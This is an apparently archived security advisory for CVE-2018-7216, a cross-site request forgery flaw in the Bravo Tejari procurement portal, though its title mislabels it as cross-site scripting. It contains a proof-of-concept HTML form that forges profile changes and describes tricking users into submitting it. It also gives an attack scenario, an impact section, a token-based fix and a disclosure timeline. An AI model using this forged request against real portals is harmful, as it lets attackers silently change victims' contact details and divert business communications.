what you don't know can hurt you

Bravo Tejari Web Portal Cross Site Scripting

Bravo Tejari Web Portal Cross Site Scripting
Posted Mar 6, 2018
Authored by Arvind V.

Bravo Tejari Web Portal suffers from a cross site request forgery vulnerability.

tags | exploit, web, csrf
advisories | CVE-2018-7216
MD5 | 7ecca80a8288e258acba28bb0e281483

Bravo Tejari Web Portal Cross Site Scripting

Change Mirror Download
Exploit Title: Bravo Tejari Web Portal-CSRF
CVE-ID: CVE-2018-7216
Vulnerability Type: Cross Site Request Forgery (CSRF)
Vendor of Product: Tejari
Affected Product Code Base: Bravo Solution
Affected Component: Web Interface Management.
Attack Type: Local - Authenticated
Impact: Unauthorised Access
Category: WebApps
Author: Arvind V.
Author Social: @Find_Arvind

Vulnerability Type: Cross Site Request Forgery (CSRF)
Vendor of Product: Tejari
Affected Product Code Base: Bravo Solution
Affected Component: Web Interface Management.
Attack Type: Local - Authenticated
Impact: Unauthorised Access

Product description:
Bravo Tejari is a strategic procurement platform that enables organizations
to generate more value, influence innovation and reduce risk powered by a
unique supplier-centered approach that integrates supplier lifetime value
throughout the entire procurement process

Attack Scenario:
The Web Interface of the Bravo Tejari procurement portal does not use
random tokens to block any kind of forged requests. An atacker can take
advantage of this scenario and create a forged request to edit user account
details like name, address of the company/individual, email address etc. He
then uses social engineering techniques to target specific individuals
whose account details he would like to change. He simply sends the link and
tricks the user into clicking the forged http request. The request is
executed and user account details are changed without his knowledge.

Proof of Concept Code:
Forged HTTP Request used by the attacker:

<html>
<body>
<form action="https://XXXX.XXXX.com/esop/toolkit/profile/regData.do"
method="POST">
<input type="hidden" name="userAct" value="confirmData" />
<input type="hidden" name="from" value="registration_data" />
<input type="hidden" name="actionNumber" value="0" />
<input type="hidden" name="companyExtStatusCode" value="31" />
<input type="hidden" name="companyExtStatusNote" value="" />
<input type="hidden" name="hideCompany" value="false" />
<input type="hidden" name="companyName"
value="XYZ COMPUTER SYSTEMS FZ LLC" />
<input type="hidden" name="companyAddress"
value="Dubai internet city, DUBAI" />
<input type="hidden" name="companyCity" value="DUBAI" />
<input type="hidden" name="companyCountry" value="AE" />
<input type="hidden" name="companyProvince" value="Dubai" />
<input type="hidden" name="companyZip" value="25703" />
<input type="hidden" name="companyPhone" value="43918600" />
<input type="hidden" name="companyFax" value="" />
<input type="hidden" name="companyEmail"
value="XYZ.v@XYZ.com" />
<input type="hidden" name="companyWebSite" value="" />
<input type="hidden" name="companyLegalStructure" value="" />
<input type="hidden" name="companyAddress2" value="" />
<input type="hidden" name="companyFiscalCode" value="215703" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


Impact:
The affected product is a procurement portal and so all communication
regarding the contract lifecycle process is sent to user details provided
on the portal. If this vulnerability is sucessfully exploited, the attacker
will be able to change these details which will potentially affect the
victim's business.

Recommendation:
Ensure that all sensitive CRUD Operations are appropriately protected with
random tokens. Alternatively, the sensitive operations should also have an
authentication layer to confirm user verification.

References:
http://seclists.org/fulldisclosure/2018/Feb/44
https://packetstormsecurity.com/files/146409/Tejari-Cross-Site-Request-Forgery.html

https://www.securityfocus.com/archive/1/541782/30/0/threaded

Credit: Arvind Vishwakarma
http://ultimateone1.blogspot.ae/



Vulnerability Timeline:
12th December 2017 a Vulnerability Discovered
23rd December 2017 a Contacted Vendor a No Response
7th January 2018 a Contacted Vendor again a No Response
15th February 2018 a Vulnerability Disclosed


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    15 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close